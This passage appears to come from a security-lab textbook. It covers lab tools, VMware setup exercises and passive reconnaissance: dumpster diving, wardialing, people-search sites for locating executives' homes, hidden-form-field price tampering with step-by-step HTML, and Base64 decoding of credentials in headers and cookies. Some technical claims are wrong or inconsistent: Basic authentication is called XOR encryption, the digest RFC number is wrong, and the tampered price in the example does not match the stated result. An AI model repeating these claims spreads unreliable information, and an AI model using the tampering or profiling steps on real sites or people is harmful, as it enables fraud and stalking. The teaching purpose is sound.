Secure remote access
THC Hydra
Network cracker
Paros proxy
Web proxy assessment tool
Dsniff
Password capture
NetStumbler
Wireless access point detection
THC Amap
Application fingerprinting
GFI LANguard
Vulnerability scanner
Aircrack
WEP/WPA cracking
Superscan
Port scanning
Netfilter
Linux packet filter
Sysinternals
Collection of Windows tools
Retina
Vulnerability assessment
Learning Applications
The final section of this chapter looks at some of the learning applications
that are available to run in a lab environment to help analyze common
security problems and misconfigurations. The concept behind these learning
applications is that these tools can help build your security skills. Here are
some examples:
Webmaven — Builds a self-contained, web-based server that can help
you learn about common application vulnerabilities
Hacme Bank — A web-based bank that you can actually hack without
worrying that you will go to jail
Webgoat — Another web application learning tool
First up is an application designed for web security known popularly
as Buggy Bank. The actual name is WebMaven, and it is available at
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www.mavensecurity.com/webmaven. Once installed, the program emulates a
banking web site that has known security flaws. Although we may be tempted
to analyze actual running web sites, remember that you should never perform
any actions on a network you don’t own. That is the purpose of building your
own security lab: so that you have a sandbox to operate within. Applications
such as WebMaven allow the user to legally assess web-application security
techniques while learning how to use tools like the ones previously described.
Hacme Bank works in much the same fashion. It is available from Foundstone at www.foundstone.com/us/resources-free-tools.asp. This application also installs a simulated bank that is designed to teach how to create
secure software. Hacme Bank has an assortment of common vulnerabilities
built in, such as SQL injection and cross-site scripting. This tool is actually
used in the Foundstone security classes.
Finally, there is WebGoat. This application’s name derives from our welldocumented need to blame someone (anyone!) when something goes wrong,
as in ‘‘scapegoat.’’ This is another full-blown web application that is designed
to help you find, fix, exploit, and understand web problems. Although
most banking sites would frown on you hacking into them, WebGoat is
designed for just that. It is a platform for you to use in your security to better
understand web security concepts. The application is free to download from
www.owasp.org/index.php/Category:OWASP WebGoat Project.
Summary
This chapter has examined how to build a software platform for your security
lab. One key piece of this project is determining which operating systems
to install. Just because of their dominance in the marketplace, you need to
have Windows and Linux operating systems installed. Windows is the most
popular desktop OS and is used extensively around the world. Understanding
its vulnerabilities and how it is secured is an important component of building
your own security lab. Linux is well positioned as a backend server for many
major firms around the world. Linux is also an important platform for security
tool development. Much of this is based on the open source nature of the
OS. As stated on the www.gnu.org web site, ‘‘You should think of free as in
free speech, not as in free beer.’’ What is meant by this is that users are free
to run the program, study how it works, redistribute it, and improve it as
needed. That is why operating systems such as Linux and applications such
as Apache have such high user support. It also means that if you are using
the Apache web server rather than Microsoft Internet Information Server (IIS),
you don’t have to wait for Microsoft to release a patch or update to a newly
discovered problem. Open source means that you can search for a fix and
Key Terms
even solicit the user community for help. Much like distributed computing,
the result is you have thousands of eyes and minds working on problems and
glitches.
Our second topic concerned how to do more with less. By this, I mean a
way to have more computer operating systems running with fewer physical
computers. This is what virtualization allows the user to do. Virtualization
allows the user to use one host system to support many virtual operating
systems. Several options were discussed, but in the end, whichever one you
choose is very much a personal choice. The book itself is focused on VMware
because the VMware player is free and because VMware has high industry
support. It has proven itself to be a robust virtualization product. However, if
you prefer to go the open source route, you might want to look at alternatives
such as Bochs, OpenVZ, and XenSource. Each of these was discussed in this
chapter.
Finally, we looked at some learning applications. These included options
such as Foundstone’s Hacme Bank. Much like a virtual machine, applications
such as Hackme Bank enable you to set up a complex environment such as an
online bank and look at the processes. The idea is to learn what works right
and what is potentially vulnerable. The intention of this chapter was to help
you set up the software platform you will be using for the rest of this book and,
as you continue to use your lab, to learn more about networks and security
controls.
Key Terms
Beta — A prerelease of software used for testing before full release.
Chmod — A Linux command that is used to change the mode of a file.
ETC/shadow file — One possible location of the Linux password file
(psswd), which is only accessible by root.
ISO image — An ISO image is a CD or DVD disk image that can be
stored as a single file yet represents the complete structure of an
optical disk.
MD5sum — A cryptographic algorithm that is used to verify data integrity through the creation of a 128-bit message digest.
Salt — A random string of data used to modify a password hash to provide randomness to stored passwords.
Virtualization — Creation of a software implementation of a hardware
device. Virtualization enables users to run multiple operating systems on
the same operating system in isolation from each other.
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Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of this chapter. I selected the tools and utilities used
in these exercises because they are easily obtainable. Our goal is to provide
you with real hands-on experience.
Using VMware to Build a Windows Image
This first exercise steps you through a Windows 2000 installation. I specifically
chose Windows 2000 because it has a number of vulnerabilities and will work
well to demonstrate exploits in later chapters:
1. Open VMware.
2. Choose New Virtual Machine and let the wizard step you through the
setup.
3. Select the default setting until you get to Select a Guest Operating System. At this point, choose Microsoft Windows and Windows 2000 Professional, as shown in Figure 2-8.
Figure 2-8 Select the guest OS.
Exercises
N O T E If you don’t have a copy of Windows 2000, you can download a
trial of Windows 2003 at
www.microsoft.com/technet/prodtechnol/eval/windowsserver
2003/default.mspx.
4. Continue to accept the defaults. You are prompted for bridged network
and default disk size. The default setting should be good for both of
these. When the wizard completes, you are presented with the
Windows 2000 Professional tab. You now want to insert your Windows
2000 installation disc, and click the Start button.
5. At this point, the install works just like almost any other OS installation.
When you have finished with the install, the result will look similar to
what is shown in Figure 2-9.
Using VMware to Build a ReactOS Image
This second exercise demonstrates how to load ReactOS as a virtual image:
1. Go to the ReactOS web site at www.reactos.org/en/download.html, and
select the preloaded VMware virtual image download.
2. Download the image to a folder on your host OS. The needed files will
be zipped, so you must unzip them and save them locally. A good location to save them to is my documents/my virtual machine/ReactOS.
Figure 2-9 Select Windows 2000 Virual OS.
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Figure 2-10 Starting ReactOS.
3. Open VMware Workstation and select Open Existing VM or Team.
Next, browse to the folder that you have placed ReactOS in and select
ReactOS.vmx. Then click Open.
4. ReactOS is now loaded into VMware. To start ReactOS, simply click-start
this virtual machine, as shown in Figure 2-10.
Running BackTrack from VMware
This third exercise will demonstrate how to load BackTrack from the DVD
included with this book:
1. Locate Backtrack.iso on the enclosed DVD and copy it onto the hard
drive. A good place to save the Backtrack.iso file is my documents/
my virtual machine/Backtrack.
2. From the VMware Workstation menu, choose New Virtual Machine.
Allow the wizard to walk you through the choices, and select the
defaults for each setting. On the Guest OS screen, choose Other Linux
and name the virtual machine BackTrack.
3. When the wizard finishes, choose Edit Virtual Machine Settings. Select
Use ISO image, as shown in Figure 2-11, and browse to the Backtrack
.iso file. Then click OK.
Exercises
Figure 2-11 Virtual machine settings.
Figure 2-12 BackTrack loading.
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Figure 2-13 BackTrack IP configuration.
4. From VMware Workstation, select Start This Virtual Image. Backtrack
should proceed to load, as shown in Figure 2-12.
5. After BackTrack loads, you are prompted for a username and password.
The defaults are root and toor, respectively.
6. From the prompt, enter Startx to launch the GUI interface.
7. After the GUI has started, go to KDE ➪ Internet ➪ Set IP Address to
start DHCP. You may use DHCP or set a static IP address as shown in
Figure 2-13.
Congratulations: you now have BackTrack installed and running!
CHAPTER
3
Passive Information Gathering
Whereas previous chapters examined what is needed from a hardware and
software perspective, this chapter begins to explore how to start to utilize
your new equipment. Although you might be eager to start loading advanced
tools and learning more about exploits, this chapter focuses on your brain.
This approach might not be what you were expecting, but what is important
to remember here is that when applying for a security position, you are not
only selling your technical skills; you are also selling your ability to think and
reason. Before you ever purchase your first firewall upgrade or the deploy an
intrusion detection system (IDS), you need to look at the types of nontechnical
security leaks that are occurring. That is what this chapter examines. This
chapter explores the ways in which information leakage can damage an
organization. The chapter guides you through some common areas where
attackers and others will look to gather information to potentially exploit the
company or business entity.
Information gathering can be defined as the act of collecting data relevant
to a specific goal. Although this process can take on many different forms,
such as businesses gathering information about their customers and buying
habits (metadata), the type of information gathering discussed here deals with
methods used to profile and attack a potential target. Remember, after all,
most attacks do not occur in a void. The attacker must first know something
about the target. Items such as a domain name, IP address, physical address
and location, phone number, or type of database used are some examples of
the kinds of information that an attacker may look to acquire before launching
an attack. You will use the same tools in the lab that the attacker would; these
are primarily a web browser and an Internet connection. With this in mind,
let’s look at what many consider to be the first place an attacker might start
such a search for information.
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Starting at the Source
The best place to begin looking for information is on the organization’s or
target’s web site. After all, what is provided there can be considered free
information. This information is generously provided to clients, customers,
or the general public. Let’s consider an example of what you (or an attacker)
can find on a typical web site. Most web sites include an About page that
discusses the organization, its executive board, and its holdings. As an example,
Figure 3-1 shows the About page from the Superior Solutions, Inc. web site.
Just for a moment, imagine that we are looking at another company, a
technology company such as Cisco. The likelihood of directly attacking Cisco is
low, but what if we can find a company that Cisco has recently acquired? When
an acquisition initially takes place, the first thought is usually not security; it
Figure 3-1 About Superior Solutions.
Starting at the Source
Linksys
Cisco
Attacker
Figure 3-2 Leapfrogging to the primary target.
is most likely connectivity. This means that an attacker may use the acquired
company to attack the primary target. Figure 3-2 shows an example of this.
IN THE LAB
The risk from this type of information gathering is that an attacker may be able
to start to put the pieces together to see how organizations are interrelated.
The best way to mitigate this risk is to minimize the amount of information that
is made public or easily found on the company’s web site. To test for this type
of vulnerability in the lab, all you need is an Internet connection and a web
browser.
The second of point of discussion on the About page is locations. The
location of Superior Solutions is shown here:
Superior Solutions, Inc.
3730 Kirby Drive, Suite 1200
Houston, Texas 77098
Potential attackers might use this information to launch any number of
attacks, such as the following:
Dumpster diving
Wardriving
Wardialing
Dumpster diving is one low-tech attack that requires nothing more than knowing the address of the victim. Most states consider household garbage as public
property once it is placed in a receptacle by the street for pickup. What can
be found will vary, but the large number of news stories in the various media
indicates that a significant amount of information is available. An article posted
on Networkword.com (http://www.networkworld.com/news/2007/050107jp-morgan-chase-probing-possible.html) highlights this vulnerability.
The article discusses the discovery of documents containing personal financial data found in the trash of J.P. Morgan Chase in garbage bags outside five
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branch offices in New York. These documents were reported to contain Social
Security numbers and other sensitive information. Whereas identity thieves
certainly covet this type of information, other attackers might be looking for
operation manuals, configuration guides, passwords, account numbers, or
even organizational charts and employee directories.
IN THE LAB
The risk from dumpster diving is that someone can get too much information
about personal or private matters. In the lab you need to practice what you
preach. This means shredding old CDs, degaussing or wiping hard drives that
are no longer needed, and shredding any paper documents that should not end
up in the hands of another. Before you consider dumpster diving for another
organization’s information, remember that if the dumpster is located on the
organization’s property, it may be considered trespassing to attempt to pilfer
through it or gain access.
Another potential (ab)use of this ‘‘location’’ information is wardriving.
Wardriving refers to the act of finding and marking the locations and status
of wireless networks. These are prime targets for an attacker. Just imagine the
attacker’s joy when he or she discovers that the locked-down web server and
Internet-facing systems are vulnerable or exposed over a wireless LAN. The
reason the wireless networks are visible is poor information security policies.
While Chapter 9, ‘‘Securing Wireless Systems,’’will look at wireless systems in
much more depth, be aware that weak or no encryption is a real problem. Even
when encryption is being used, some organizations don’t physically secure
wireless access points, so malicious individuals may be able to gain control and
reset or reprogram such devices. Securing wireless access points has become
such a concern that a suburb of New York City has actually proposed that any
business or home office with an open wireless connection would be violating
the law.
WARDRIVING THE HOME-IMPROVEMENT STORES
Laws regarding wardriving vary from state to state. Most legal experts agree
that wardriving without the intent to connect is not illegal. This view changes
rapidly when the topic changes to the act of gaining a connection to a wireless
network other than your own. Take, for example, the case of the Lowe’s
wireless hackers.
News reports indicate that Brian Salcedo and Adam Botbyl were parked in a
1993 Pontiac Grand Prix in front of Lowe’s. According to law-enforcement
Starting at the Source
agents, the pair had been trying to install logging software that would allow
them to harvest credit card numbers. Salcedo was eventually sentenced to
9 years in federal prison, Botbyl to 26 months. These sentences should serve as
a wakeup call for anyone contemplating accessing a network without the
owner’s permission.
IN THE LAB
The risk of an open wireless connection is that unauthorized individuals may
get access through your network or use your organization as a base for attacks
against others. You can mitigate these risks by performing such basic actions as
turning on encryption and physically protecting access points. Although
encryption might not always be a perfect solution, it can prevent others from
accidentally connecting to your organization. You can implement this practice
in the lab by making sure that encryption is enabled and set to the strongest
level possible. You will also want to make sure to lock up or secure access
points so that they are physically secure.
Next on the list of items that can be found on the Location page is phone
numbers. These could be used for activities such as wardialing. Wardialing is
the act of automatically scanning telephone numbers using a modem, usually dialing every telephone number in a local area. If a wardialer wants to
attack a particular large corporation in a specific location, he or she might
set the wardialer to scan on a specific exchange number. Many large organizations have a specific exchange number associated exclusively with their
company.
The purpose of this activity is to scan for systems that may have a modem
connected. Although modems are not as widely used as they were 5 to 10 years
ago, there are still some around. These are typically maintained for out-of-band
management or some type of backup connectivity. After all, they are a low-cost
network-access alternative if normal network connectivity is lost. The problem
is that many of these modems may have weak authentication or none at all. If
you’re planning on wardialing as part of a security test, you want to make sure
to check the laws in your area. Some states have laws that make it illegal to
place a call without the intent to communicate. A few well-known wardialing
tools are as follows:
ToneLoc — A wardialing program that looks for dial tones by randomly
dialing numbers or dialing within a range. It can also look for a carrier frequency of a modem or fax. ToneLoc uses an input file that contains the area codes and number ranges you want to have it dial.
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THC-Scan — An older DOS-based program that can use a modem to
dial ranges of numbers in search of a carrier frequency from a modem
or fax.
Demon dialer — A demon dialer is a tool used to monitor a specific
phone number and target its modem to gain access to the system.
Some may ask whether having information about the physical plant(s) of
a company on its own web site is really such a big concern. I would answer
yes. Consider this: As firewalls, intrusion detection systems, network security,
and logical controls improve, attackers are faced with the task of how to gain
access to resources and assets they covet. These security improvements can
thus mean that physical access may offer the best opportunity for a successful
attack.
LOSING THE CORPORATE LAPTOP
One thing companies should have learned about physical security is that
laptops are an easy target. The CEO of Qualcomm, Irwin Jacobs, found this out
the hard way back in 2000 when finishing up a speech to a group of reporters
in California. As the speech was concluding, CEO Jacobs left his laptop
unguarded for a few minutes. Jacobs was only a few feet away when he turned
around and noticed that the laptop was gone. Although the laptop did have the
standard Windows password protection enabled, no encryption was being
used. The laptop reportedly held a variety of corporate information, email,
personal photos, and proprietary data.
Another area to look at on the targeted company’s web site is the corporate
board of directors and any list of key employees. Such information can be
used potentially for social engineering, spoofing, or even alternative modes of
attack.
This leads us to our next topic: how information gathered about individuals
might be used for nefarious purposes.
Scrutinizing Key Employees
During the analysis of names on a web site, you might find the names of
several key employees. If an attacker is located close by, he or she may just
drive to the published location of these employees and check to see whether
they have wireless connectivity. If so, it might be possible for the attacker to
leapfrog off the employee’s Internet connection and use it to attack the network.
For example, a review of the Cisco web site indicates that the CEO is John
T. Chambers, and because the headquarters of Cisco is located in California,
Starting at the Source
Figure 3-3 www.zabasearch.com.
one might assume that the CEO lives somewhere nearby. Tools that can be used
to find addresses include online phone books such as www.anywho.com and
http://people.yahoo.com and online search tools such as www.zabasearch or
www.peoplesearchnow.com. To give you an idea the types of information sites
such as www.zabasearch provide, Figure 3-3 shows a portion of the web site.
Many of the sites like www.zabasearch actually have a mapping feature
built right in so that the user can map a location to the address, as shown in
Figure 3-4.
This type of information just scratches the surface of what can be found on
the Web. The Privacy Rights Clearinghouse (www.privacyrights.org) has a
list of providers of personal information. This list is divided into groups of
those that allow people to opt out (www.privacyrights.org/ar/infobrokersoptout.htm) and those that do not (www.privacyrights.org/ar/infobrokers-
Figure 3-4 Google Maps.
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Figure 3-5 ZoomInfo.
no-optout.htm). One final site worth discussing is ZoomInfo.com. This site
can be used to research job listings, personal information, and company
information. Figure 3-5 shows an example of what can be found at this site.
In combination, these sites allow attackers to locate key individuals, potentially identify their home phone numbers, and even create a map to their
houses. When conducting any exercise where this type of information is being
reviewed, you should take a hard look at any information provided about key
employees on the web site itself and also scrutinize what additional information a hacker could potentially glean from personal information, third-party
sales web sites, or even sites like Facebook and MySpace. Then, after doing
that, if you find that a risk does exist, you will need to look at the opt-out
options in as many sites as possible to limit the risk. You will also want to
remove what you can from the organization’s own web site.
IN THE LAB
The risk from information gathering is that valuable information may be
uncovered that can be leveraged during some type of attack. You can mitigate
these risks by working with management, human resources, and rank-and-file
employees. Organizations must be made aware of the dangers of posting too
much information on the Internet. It’s an open forum that anyone from
Starting at the Source
anywhere can access. In your lab, you can search the sites discussed in this
section to see if your organization is leaking too much information. You should
also consider finding organizations that use good information-control practices
so that your company can use them as a model if improvement is needed.
Dumpster Diving (Electronic)
Although people usually think of dumpster diving in physical terms, you
also need to be aware of the potential for electronic dumpster diving. It’s the
process of looking for obsolete, obscure, or old electronic data. You might
be wondering where such information can be found. One place to look is
the Internet Archive (www.archive.org). The Internet Archive is home to the
Wayback Machine. The Wayback Machine contains somewhere around 85
billion web pages that have been archived. The project started in 1996 and is
current up to a few months. To start surfing the Wayback Machine, type in the
web address of a site or page where you would like to start, and press Enter.
Figure 3-6 shows an example of the Wayback Machine. This figure shows a
screen capture of the Wiley web site in 1998. Countermeasures for this type of
information leakage include defining robots.txt so that it doesn’t archive web
pages and store them for retrieval from the Wayback Machine. You should
Figure 3-6 Wayback archived web page.
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also look at removing any inappropriate or unnecessary information from the
organization’s web site.
At least if information is leaked on the company web site, it can be quickly
removed, but what if sensitive information is used by insiders or is placed on
web sites that the organization does not control? There’s always the chance
that disgruntled employees may leak information on purpose. That’s why
any good security review will include visiting the darker corners of the
Internet. Disgruntled employees result from myriad reasons. For instance, layoffs/downsizing, mergers and acquisitions, and outsourcing are the types of
events that don’t necessarily put staff in the best of moods. These events could
motivate employees to post information that could potentially prove rather
damaging to a company. These unhappy individuals are potential sources
of information leakage. This information may be posted on a blog, some
type of ‘‘sucks’’ domain, or on other sites. Figure 3-7 shows the PayPalSucks
domain. Although the legality of these domains depends on the type of information provided and their status as a noncommercial entity, their existence is
something you should be aware of.
Frustrated employees will always find some way to vent their thoughts,
even if not from a ‘‘sucks’’ domain. One such site that may offer other
insider information is www.internalmemos.com. This site lists information that
Figure 3-7 PayPalSucks.com.
Starting at the Source
Figure 3-8 www.internalmemos.com.
is usually sensitive and probably shouldn’t be released to the general public.
Although some of the content is free, other content is considered premium and
must be purchased to be viewed. One such document found after a search on
the word security is shown in Figure 3-8. Don’t be surprised at what you find
on this site or others like it. Clever individuals will not post directly and may
attempt to hide their true identities by using some type of anonymous email
service. Some of the better-known mail redirectors include the following:
www.sharpmail.co.uk
www.trashmail.net
www.anonymousspeech.com
EMPLOYEE BLOGGING
Many companies are concerned about employees blogging because they are
unsure about how employees might portray the company. Common concerns
are unhappy employees verbally attacking fellow employees, customers,
vendors, or shareholders. There is also concern as to the possibility that an
employee may disclose sensitive, proprietary, confidential, or financial
information about the company. Although these concerns typically focus on
lower-level employees, Whole Foods Market was recently made aware of a
blogging concern of a different type (and level).
The CEO of Whole Foods had been blogging to the Yahoo! stock groups for
several years under the name rahodeb. These anonymous blogs included
comments about Whole Foods and it largest rival, Wild Oats. These blogs
brought the company under scrutiny of the SEC and endangered Whole Foods
proposed acquisition of Wild Oats.
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IN THE LAB
The risk from third-party sites is real. One of the first companies to realize this
threat was Kmart. A former employee created the web site Kmartsucks.com
after his departure. Kmart fought to have the site removed but lost the battle
on the grounds of free speech. You can mitigate these risks by exploring the
Web and examining employee blogs and other third-party sites. In your lab, you
should explore the ownership of domain names that are close to your own
organizations or that may contain the word ‘‘sucks.’’ As an example, search for
the ownership of www.certificationsucks.com. Use one of the many
WHOIS tools that are available, such as http://www.betterwhois.com/. You
might want to recommend to management that these sites be acquired and
parked so that others cannot use them against the organization.
Analyzing Web Page Coding
Even with the amount of information that has been gathered so far via the
techniques already discussed in this chapter, additional information can still
be harvested from a web site. This will require going through each web page
and analyzing the source code. One could manually examine each page looking
for notable items such as the following:
Email addresses
Links to other sites
Notes or comments
Hidden fields
Information that identifies the web applications or programs used
Enumeration of structure and design of the site
One way to examine the site in detail is by using a site ripper. Although you
could manually crawl the site, a site-ripping tool can speed up the process.
Site rippers are a good way to make a duplicate of the web site that can be
stored on your local hard drive. These programs allow you to go through the
site one page at a time at your leisure. This way you can examine the HTML
code and look for other fragments of information. BlackWidow has various
tabs and configurations, as shown in Figure 3-9. This allows you to see the
displayed HTML code, source code, links, email addresses, and more. You can
download BlackWidow from www.softbytelabs.com.
Other tools are also available that perform basically the same function as
BlackWidow. Three such programs are listed here:
Teleport Pro — A Windows web site scanner. A site-mapping tool that
enables you to rip web sites and review them locally.
Starting at the Source
Figure 3-9 Source sifting with BlackWidow.
Wget — A command-line tool for Windows and Unix that downloads
the contents of a web site. An open source site ripper and duplicator.
Instant Source — Works with Internet Explorer and will display source
code for selected portions of a web page. The tool will also display
images, Flash movies, and script files on a web page.
IN THE LAB
The risk from poorly developed web pages is that unauthorized individuals may
be able to uncover email addresses, hidden links, vulnerable scripts, and even
passwords. You can mitigate these risks by using web site rippers and
examining the source code of the organization’s web site. In the lab, you will
want to download a trial version of BlackWidow, which can be found at
http://softbytelabs.com/us/downloads.html. Once installed, start the
program and enter the URL you wish to rip. The process will take a few
minutes, but once it is completed you will be able to browse the entire web
site’s structure. You will want to spend some time looking at the source code of
each page and use your notebook to record any findings worth following up.
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One thing to look for when examining the source code of a site is hidden
fields. Hidden fields represent poor coding practice that works as a shortcut
for programmers working on the assumption of security by obscurity. A hidden
field is a poor coding practice that has been publicized for some time, but it
still seems to continue. The idea is to place some piece of information inside
the web page that cannot normally be seen. Things placed in hidden fields can
run the gamut from email addresses to dollar values used to determine the
price of an item. Using hidden HTML fields as a sole mechanism for assigning
a price or obscuring a value is not a security practice because it can be easily
overcome by just reviewing the code. Some sites use these hidden value fields
to store the price of the product that is passed to the web application. An
example pulled from one such site is shown here:
<INPUT TYPE=HIDDEN NAME="name" VALUE="Omega Seamaster">
<INPUT TYPE=HIDDEN NAME="price" VALUE="$2495.50">
<INPUT TYPE=HIDDEN NAME="wa" VALUE="1">
<INPUT TYPE=HIDDEN NAME="return" VALUE="http://www.vulnerable site.com/
cgi-bin/cart.pl?db=Omega.dat&category=&search=watch&method=&begin=
&display=&price=&merchant=">
<INPUT TYPE=HIDDEN NAME="add2" VALUE="1">
<INPUT TYPE=HIDDEN NAME="image" VALUE="http://www.vulnerable site.com/
images/omega-bond.jpg">
If you are examining your organization’s web site and find one of these
fields, you have uncovered a real problem, because it doesn’t take much for
an attacker to use this to hack the web site. An attacker just has to save the
web page locally and then modify the amount; the new value will be passed to
the web application. If no input validation is performed, the application will
accept the new, manipulated value. These three simple steps are shown here.
Just remember that this should only be performed on a site that has given you
written permission to attempt this hack:
1. Save the page locally and open the source code.
2. Modify the amount and save the page. As an example, change $2495.50
to $1115.50.
<INPUT TYPE=HIDDEN NAME="name" VALUE="Omega Seamaster">
<INPUT TYPE=HIDDEN NAME="price" VALUE="$2450.50">
3. Refresh the local HTML page and then click add to cart. If successful,
you’ll be presented the checkout page that reflects the new, hacked value
of $1115.50.
You might be wondering whether this can get any worse; well, yes, it can.
While working with a friend who hosts a small site with a third-party payment
system, I noticed that it used a hidden field to save his email address. The
way the system works is that when an order is placed, an email is generated
Starting at the Source
that is sent to the client informing him that payment has been made and that
product should be shipped. Any clever individual could quickly figure out
how to spoof such an email and potentially send a spoofed message informing
the business to ship product that was never really paid for.
Another item to watch for is hidden fields that accept negative values.
Before you get too excited about this and start to consider making a deposit to
your credit card, remember that such tampering would be seen as theft/fraud.
The real problem here is that an application should never rely on the web
browser to set the price of an item. Even without changing the price, an
attacker may just try to feed large amounts of data into the field to see how
the application responds. Values from hidden fields, check boxes, select lists,
and HTTP headers may be manipulated by malicious users and used to make
web applications misbehave if the design did not build in proper validation.
If you think that there is a shortage of sites with these types of vulnerabilities,
think again. A quick search with Google for "type=hidden name=price" will
return hundreds of hits. Let’s now turn our attention to financial data and job
ads. You may be surprised as to what can be found there.
IN THE LAB
The risk from hidden fields and browser-generated data is that the server may
not validate this information. You can mitigate these risks by making sure that
any browser-supplied information is validated. You will also want to try to
remove hidden fields when possible. It’s important to remember that you only
want the web server to accept known good input. For example, if it is an entry
order form, there should never be negative amounts ordered. All known bad
input should be rejected. In the lab, you can examine this concept with just a
browser, Internet connection, and search engine. Simply Google for
"type=hidden name=price". On any page that is returned, look at the source
code and for something that looks like this: <INPUT TYPE="HIDDEN"
NAME="Price" VALUE="49.99">. Use this time to learn to spot vulnerable
hidden field practices. Just remember that without the web site owner’s
permission, examination of the code is all that should be done. If you find such
vulnerabilities in your own organization’s site, note your findings and report
them to management.
Exploiting Web Site Authentication Methods
Authentication is part of what is commonly known as ‘‘triple A.’’ This stands
for authentication, authorization, and accountability. An in-depth look at these
concepts is beyond the scope of this book; instead, what should concern us
here is whether any type of web page authentication has been discovered at
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this point. Just consider the importance of authentication to the web site. If it is
being used, it is most likely to protect sensitive areas. There are many different
ways to authenticate users. Common authentication types used by web sites
include the following:
Basic
Forms based
Message digest
Certificate
Basic authentication is achieved through the process of exclusive OR’ing
(XOR). Basic encryption or encoding starts to work when a user requests a
protected resource. The Enter Network Password box pops up to prompt the
user for a username and password. When the user enters the password, it is
sent via HTTP back to the server. The data is encoded by the XOR binary
operation. This function requires that, when the 2 bits are combined, the results
will only be a 0 if both bits are the same. XOR functions by first converting
all letters, symbols, and numbers to ASCII text. These are represented by
their binary equivalent. The resulting XOR value is sent via HTTP. This is the
encrypted text. As an example, if a malicious individual were to launch some
type of man-in-the-middle attack, he could most likely intercept the packet
containing the basic authentication packet:
Authorization: Basic gADzdBCPSEG1
It’s a very weak form of encryption, and many tools can be used to
compromise it. Google can be used to quickly find programs that will code or
decode Base64. URLs for several such sites are provided here:
www.opinionatedgeek.com/dotnet/tools/Base64Decode
http://makcoder.sourceforge.net/demo/base64.php
www.motobit.com/util/base64-decoder-encoder.asp
The second type of web authentication up for discussion is forms based.
Forms-based authentication functions through the use of a cookie that is issued to
a client. Once authenticated, the web application generates a cookie or session
state variable. This stored cookie is then reused on subsequent visits. Because
HTTP is a stateless protocol, cookies are needed. Just imagine going to an
airline site to book a trip to visit a clients work site. You will be asked a series
of questions:
Where are you flying from?
Where are you flying to?
What date to you wish to depart?
What date do you wish to return?
Starting at the Source
To keep track of all this information, the web server must set a cookie.
Problems arise with cookies when they are stolen or hijacked. The malicious
individual can then use the cookie to spoof the victim at the targeted web site.
If the attacker can gain physical access to the victim’s computer, these tools
can be used to steal cookies or to view hidden passwords. You might think
that passwords wouldn’t be hidden in cookies, but that is not always the case.
It’s another example of security by obscurity. Cookies that are used with forms
authentication or other ‘‘remember me’’ functionalities may store passwords
or usernames in clear text or in a Base64 format. Here’s an example:
Set-Cookie: UID= dWlrXTataWtlc3Bhc3N3b3JkBQoNCg; expires=Mon, 08-Aug-2008
The UID value appears to just be random numbers or some type of coding.
However, if you run it through any one of the Base64 decoders discussed
previously, you will actually end up with mike:mikesp@ssw0rd. This should
make it clear that it is never a good idea to store usernames and passwords
in a cookie, especially in an insecure state. If you want to take a look at some
cookies yourself to see what is in them, go to the following sites:
Cookie Spy — http://camtech2000.net/Pages/CookieSpy.html
Karen’s Cookie Viewer — www.karenware.com/powertools/
ptcookie.asp
Seeing how weak Base64 is makes us aware that there must be a better
method, and there is: message digest authentication. Message digest uses the
MD5 hashing algorithm. Message digest is based on a challenge-response
protocol. It uses the username, password, and a nonce value to create an
encrypted value that is passed to the server. The nonce value makes it much
more resistant to cracking and makes sniffing attacks useless. The message
digest process is described in RFC 2716. Think of it as a one-way type of
process. A friend once said a hash was like running a pig through a grinder
to get sausage. The sausage is not easily reconstituted into a pig. While it
was an unusual explanation, it helped me always remember that it’s truly
one-way! An offshoot of this authentication method is NTLM authentication.
This propriety Microsoft authentication scheme is discussed further in Chapter
5, ‘‘Enumerating Systems.’’
Another strong form of authentication is certificate based. Certificate-based
authentication is by far the strongest form of authentication discussed so far.
When users attempt to authenticate, they present the web server with their
certificate. The certificate contains a special type of authentication known
as a public key and the signature of the certificate authority. The signature
works much like a notary does in real life in that it verifies the authenticity
of the signer. The web server must then verify the validity of the certificate’s
signature and then authenticate the user by using public key cryptography.
For more about this concept, see Chapter 7, ‘‘Understanding Cryptographic
Systems.’’
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IN THE LAB
The risk from cookies is that they may provide too much information. You can
mitigate these risks by reducing the number of cookies your system will accept
and periodically removing them from the browser cache. In the lab, you will
want to download and install Cookie Spy, available at http://camtech2000
.net/Pages/CookieSpy.html. Once installed, point it to the folder of your
browser cache and start looking through existing cookies. If your organization
is using cookies on its web server, you will want to closely examine what and
how they are being used. Watch for any cookie that may be used incorrectly for
authentication.
Mining Job Ads and Analyzing Financial Data
Our next area of investigation demonstrates other ways in which information
is leaked that outsiders and other malicious individuals can use. Anyone
looking to launch a technical attack must understand the technologies and
infrastructure of an organization. Job postings are one place that can serve as
a starting point to understand these technologies. Here is an example of what
can be found in a job listing:
We are seeking a Senior Network Engineer who has excellent troubleshooting
skills, is motivated to learn the security trade, can give great customer service,
and can perform implementation of various security products, including Cisco,
Symantec, Secure Computing, Websense, and SourceFire.
An excellent background for this role would include high-level network administration/network support on Microsoft Server based products (Windows 2000,
XP, and the deployment of 2003 Server — other needed skills include IIS, SQL
Server, Exchange, and ISA).
The ideal candidate is organized, creative, pays attention to detail, and is a self
starter who requires minimal supervision, works well as part of a team, and is
familiar with most of the following network equipment:
Cisco Routers, Switches, Firewalls, and Load Balancers (7500, 6500, PIX)
Network monitoring systems such as SNORT.
Now, although this isn’t an exhaustive list of everything that the organization
uses, it does give a good idea of the types of technologies used. What is clear
from the job ad here is the organization is primarily a Windows and Cisco
shop. It looks like they are just deploying Windows 2003, so there are most
likely some older servers left around. This information could possibly aid an
attacker when planning his attack.
Mining Job Ads and Analyzing Financial Data
IN THE LAB
The risk is that your organization may be giving too much information in its job
advertisements. You can mitigate these risks by reducing the amount of
information that is provided and working with management to reduce specific
hardware and software details provided. In the lab, you want to check this out
by looking at the target organization’s job postings. Make a note of your
findings and be prepared to explain how this may be a potential risk.
Even if the organization doesn’t have jobs listed on its web site, there are
still other places to look. Check out some of the major Internet job boards.
Some of the more popular ones are listed here:
Careerbuilder.com
Monster.com
Dice.com
TheITjobboard.com
Some other notable sites to explore to continue your electronic dumpster
diving include the various financial sites that maintain information about the
financial health and status of the targeted organization. Organizations that are
publicly traded will have financial records at the www.sec.gov web site. The
link on the page that you will want to examine leads to the Edgar database, as
shown in Figure 3-10.
Figure 3-10 Edgar database.
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If you take a moment to look over the site, you will notice that there is a ton
of information here. The two documents you want to look at closely are the
10-Q and 10-K. These two documents contain yearly and quarterly reports.
While interested parties may want to learn what the corporate earnings are
for an organization, they might also want to learn which companies were
acquired or merged with the parent organization. Anytime there is a merger
or one firm acquires another, there is a rush to integrate the two networks, and
